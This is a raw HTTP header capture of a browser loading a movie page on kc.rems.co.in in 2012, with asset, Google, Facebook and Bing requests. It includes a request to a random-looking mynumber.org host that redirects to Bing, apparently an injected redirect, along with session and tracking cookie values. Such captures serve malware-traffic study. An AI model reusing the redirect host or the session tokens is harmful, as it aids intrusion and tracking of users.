Connection: Keep-Alive
GET /css/default+en.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:22:48 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:56:47 GMT
Etag: &quot;478c1f1-8045-4b0ab0cc55dc0&quot;
Accept-Ranges: bytes
Content-Length: 32837
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
GET /js/jquery-ui.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:56:24 GMT
Etag: &quot;478c1fb-5b889-4b0ab0b666a00&quot;
Accept-Ranges: bytes
Content-Length: 374921
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /uds/api/search/1.0/8c68537a8c14de310f268bd7f81c9c67/default+en.css HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/css; charset=UTF-8

Expires: Thu, 07 Nov 2013 20:35:06 GMT
Date: Wed, 07 Nov 2012 20:35:06 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=31536000
Content-Length: 8562
Age: 24462
GET /uds/api/search/1.0/8c68537a8c14de310f268bd7f81c9c67/default+en.I.js HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript; charset=UTF-8

Expires: Thu, 07 Nov 2013 20:35:25 GMT
Date: Wed, 07 Nov 2012 20:35:25 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=31536000
Content-Length: 73574
Age: 24443
GET /404.html HTTP/1.1

Host: rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Thu, 08 Nov 2012 03:22:48 GMT
Server: Apache
Last-Modified: Sat, 10 Sep 2011 13:58:40 GMT
Etag: &quot;464079b-28a-4ac96b0e96400&quot;
Accept-Ranges: bytes
Content-Length: 650
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /js/default+en.I.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:48 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:03:54 GMT
Etag: &quot;478c20d-21d08-4cde83057a680&quot;
Accept-Ranges: bytes
Content-Length: 138504
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
GET /images/sprite.png HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Thu, 08 Nov 2012 03:22:48 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:26 GMT
Etag: &quot;4780098-1144-4b0ab12abfc80&quot;
Accept-Ranges: bytes
Content-Length: 4420
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
GET /images/logo.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:22:48 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:53 GMT
Etag: &quot;4780035-17a8-4b0ab10b47240&quot;
Accept-Ranges: bytes
Content-Length: 6056
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
GET /en_US/all.js HTTP/1.1

Host: connect.facebook.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript; charset=utf-8

Etag: &quot;0b1f1c0ab31b3bda33e903e3905eea91&quot;
Content-Encoding: gzip
X-FB-Debug: xKSQsPZG2h+q4Lx0MBq4jH0JF0PzvMPnt4hS3P9fxIU=
Content-Length: 58115
Cache-Control: public, max-age=1156
Expires: Thu, 08 Nov 2012 03:42:05 GMT
Date: Thu, 08 Nov 2012 03:22:49 GMT
Connection: keep-alive
Vary: Accept-Encoding
GET /images/sprite2.png HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Thu, 08 Nov 2012 03:22:49 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:27 GMT
Etag: &quot;478006d-1dd-4b0ab12bb3ec0&quot;
Accept-Ranges: bytes
Content-Length: 477
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
GET /Gallery/Main.jpg HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 302 Found

Content-Type: text/html; charset=iso-8859-1

Date: Thu, 08 Nov 2012 03:22:49 GMT
Server: Apache
Location: http://rems.co.in/404.html
Content-Length: 210
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
GET /images/more-btn.png HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Thu, 08 Nov 2012 03:22:49 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:56 GMT
Etag: &quot;4780093-598-4b0ab10e23900&quot;
Accept-Ranges: bytes
Content-Length: 1432
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /in.cgi?14 HTTP/1.1

Host: arhfhldfzodhlmpe.mynumber.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
 
HTTP/1.1 302 Found

Content-Type: text/html

Server: nginx
Date: Thu, 08 Nov 2012 03:22:48 GMT
Connection: keep-alive
Set-Cookie: folqb14=_0_; domain=arhfhldfzodhlmpe.mynumber.org; path=/; expires=Sun, 26-Aug-2012 03:32:10 GMT
Location: http://bing.com/
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 150
GET /images/tabbtn.png HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Thu, 08 Nov 2012 03:22:49 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:30 GMT
Etag: &quot;478008b-ad2-4b0ab12e90580&quot;
Accept-Ranges: bytes
Content-Length: 2770
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
GET /connect/xd_arbiter.php?version=15 HTTP/1.1

Host: static.ak.facebook.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip
X-FB-Debug: Hdwol+f2c8xpZaDJPahHzPzDW//j9se64jH/Q+ie9Oo=
Content-Length: 9723
Vary: Accept-Encoding
Cache-Control: public, max-age=31390813
Expires: Wed, 06 Nov 2013 11:03:02 GMT
Date: Thu, 08 Nov 2012 03:22:49 GMT
Connection: keep-alive
GET /images/web_72.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:22:49 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:44 GMT
Etag: &quot;478005d-60-4b0ab13bea500&quot;
Accept-Ranges: bytes
Content-Length: 96
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
GET /404.html HTTP/1.1

Host: rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Range: bytes=0-
If-Range: &quot;464079b-28a-4ac96b0e96400&quot;
 
HTTP/1.1 206 Partial Content

Content-Type: text/html

Date: Thu, 08 Nov 2012 03:22:49 GMT
Server: Apache
Last-Modified: Sat, 10 Sep 2011 13:58:40 GMT
Etag: &quot;464079b-28a-4ac96b0e96400&quot;
Accept-Ranges: bytes
Content-Length: 650
Content-Range: bytes 0-649/650
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /images/web_70.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:22:49 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:43 GMT
Etag: &quot;4780057-d1-4b0ab13af62c0&quot;
Accept-Ranges: bytes
Content-Length: 209
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
GET /images/web_74.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/style.css
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:22:49 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:44 GMT
Etag: &quot;4780056-d3-4b0ab13bea500&quot;
Accept-Ranges: bytes
Content-Length: 211
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
GET /connect/xd_arbiter.php?version=15 HTTP/1.1

Host: s-static.ak.facebook.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip
X-FB-Debug: oioCKbZB+sKH+/SQvooXq9I8WT+i6vY96i3ZEpudlAk=
Content-Length: 9723
Vary: Accept-Encoding
Cache-Control: public, max-age=31346613
Expires: Tue, 05 Nov 2013 22:46:22 GMT
Date: Thu, 08 Nov 2012 03:22:49 GMT
Connection: keep-alive
GET / HTTP/1.1

Host: bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
 
HTTP/1.1 301 Moved Permanently

HTTP/1.1 301 Moved Permanently

Cache-Control: no-cache
Location: http://www.bing.com/
Edge-control: no-store
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Set-Cookie: _HOP=I=1&amp;TS=1352344969; domain=bing.com; path=/
Date: Thu, 08 Nov 2012 03:22:49 GMT
Content-Length: 0
GET / HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: _HOP=I=1&amp;TS=1352344969
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Cache-Control: private, max-age=0
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 12543
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
Set-Cookie: _FP=EM=1; expires=Sat, 08-Nov-2014 03:22:50 GMT; domain=.bing.com; path=/
_FS=NU=1; domain=.bing.com; path=/
_HOP=; domain=.bing.com; path=/
_SS=SID=CE7D13F720394E26A0FE3C056F765046; domain=.bing.com; path=/
MUID=1A5363F08BA563A3318667E28AA263B7; expires=Sat, 08-Nov-2014 03:22:50 GMT; domain=.bing.com; path=/
OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; expires=Sat, 08-Nov-2014 03:22:50 GMT; domain=.bing.com; path=/
SRCHD=D=2553322&amp;MS=2553322&amp;AF=NOFORM; expires=Sat, 08-Nov-2014 03:22:50 GMT; domain=.bing.com; path=/
SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; expires=Sat, 08-Nov-2014 03:22:50 GMT; path=/
SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; expires=Sat, 08-Nov-2014 03:22:50 GMT; domain=.bing.com; path=/
GET /fd/s/a/hpc3.png HTTP/1.1

Host: www.bing.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=D=2553322&amp;MS=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Tue, 14 Aug 2012 20:38:35 GMT
Content-Length: 5448
X-N: S
Cache-Control: public, max-age=8810455
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
GET /plugins/like.php?api_key=&locale=en_US&sdk=joey&channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D15%23cb%3Df77a606862e37a%26origin%3Dhttp%253A%252F%252Fkc.rems.co.in%252Ff2691cc7c40f02c%26domain%3Dkc.rems.co.in%26relation%3Dparent.parent&href=www.facebook.com%2Fpages%2FKalakkal-Cinema%2F148474111830869&node_type=link&width=174&font=verdana&layout=button_count&colorscheme=light&show_faces=false&send=true&extended_social_context=false HTTP/1.1

Host: www.facebook.com
GET /plugins/like.php?api_key=&amp;locale=en_US&amp;sdk=joey&amp;channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D15%23cb%3Df77a606862e37a%26origin%3Dhttp%253A%252F%252Fkc.rems.co.in%252Ff2691cc7c40f02c%26domain%3Dkc.rems.co.in%26relation%3Dparent.parent&amp;href=www.facebook.com%2Fpages%2FKalakkal-Cinema%2F148474111830869&amp;node_type=link&amp;width=174&amp;font=verdana&amp;layout=button_count&amp;colorscheme=light&amp;show_faces=false&amp;send=true&amp;extended_social_context=false HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Encoding: gzip
X-FB-Debug: 8Ufcn2vqADh6W8TeFhwR6l2A8KIkiqKosfYltuafhks=
Date: Thu, 08 Nov 2012 03:22:50 GMT
Transfer-Encoding: chunked
Connection: keep-alive
GET /fd/ls/l?IG=e962db88775e4933be9abba29b60e0e7&CID=1A5363F08BA563A3318667E28AA263B7&PM=Y&Type=Event.CPT&DATA={%22pp%22:{%22S%22:%22L%22,%22PC%22:7,%22FC%22:-1,%22BC%22:7,%22BS%22:10,%22H%22:37,%22FE%22:-1,%22LE%22:-1,%22C1%22:-1,%22C2%22:-1,%22BP%22:41,%22KP%22:-1,%22CT%22:44,%22IL%22:0}}&P=SERP&DA=Db3 HTTP/1.1

Host: www.bing.com
GET /fd/ls/l?IG=e962db88775e4933be9abba29b60e0e7&amp;CID=1A5363F08BA563A3318667E28AA263B7&amp;PM=Y&amp;Type=Event.CPT&amp;DATA={%22pp%22:{%22S%22:%22L%22,%22PC%22:7,%22FC%22:-1,%22BC%22:7,%22BS%22:10,%22H%22:37,%22FE%22:-1,%22LE%22:-1,%22C1%22:-1,%22C2%22:-1,%22BP%22:41,%22KP%22:-1,%22CT%22:44,%22IL%22:0}}&amp;P=SERP&amp;DA=Db3 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CE7D13F720394E26A0FE3C056F765046; MUID=1A5363F08BA563A3318667E28AA263B7; OrigMUID=1A5363F08BA563A3318667E28AA263B7%2ce962db88775e4933be9abba29b60e0e7; SRCHD=D=2553322&amp;MS=2553322&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=E6DE51E125274723BF79A4BFD3E3FBA5; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108
 
HTTP/1.1 200 OK

Content-Type: image/gif

Cache-Control: no-cache
Pragma: no-cache
Expires: Sun, 12 Oct 2003 00:00:00 GMT
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Content-Length: 42
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
Set-Cookie: _FS=NU=1; domain=.bing.com; path=/
SRCHD=MS=2553322&amp;D=2553322&amp;AF=NOFORM; expires=Sat, 08-Nov-2014 03:22:50 GMT; domain=.bing.com; path=/
GET /rsrc.php/v2/yD/x/Q8FTZ0iJJF2.png HTTP/1.1

Host: static.ak.fbcdn.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?api_key=&amp;locale=en_US&amp;sdk=joey&amp;channel_url=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D15%23cb%3Df77a606862e37a%26origin%3Dhttp%253A%252F%252Fkc.rems.co.in%252Ff2691cc7c40f02c%26domain%3Dkc.rems.co.in%26relation%3Dparent.parent&amp;href=www.facebook.com%2Fpages%2FKalakkal-Cinema%2F148474111830869&amp;node_type=link&amp;width=174&amp;font=verdana&amp;layout=button_count&amp;colorscheme=light&amp;show_faces=false&amp;send=true&amp;extended_social_context=false
 
HTTP/1.1 200 OK

Content-Type: image/png

Access-Control-Allow-Origin: *
Last-Modified: Fri, 29 Jun 2012 21:48:06 GMT
X-Content-Type-Options: nosniff
X-FB-Debug: V2vYP5oZ8ftMm8TcnB9yv/rQrr/eubUM9cBAo6ffuRc=
Content-Length: 668
Cache-Control: public, max-age=25246207
Expires: Tue, 27 Aug 2013 08:12:57 GMT
Date: Thu, 08 Nov 2012 03:22:50 GMT
Connection: keep-alive
GET /rsrc.php/v2/yW/r/4SdXcaE0lBj.js HTTP/1.1

Host: static.ak.fbcdn.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
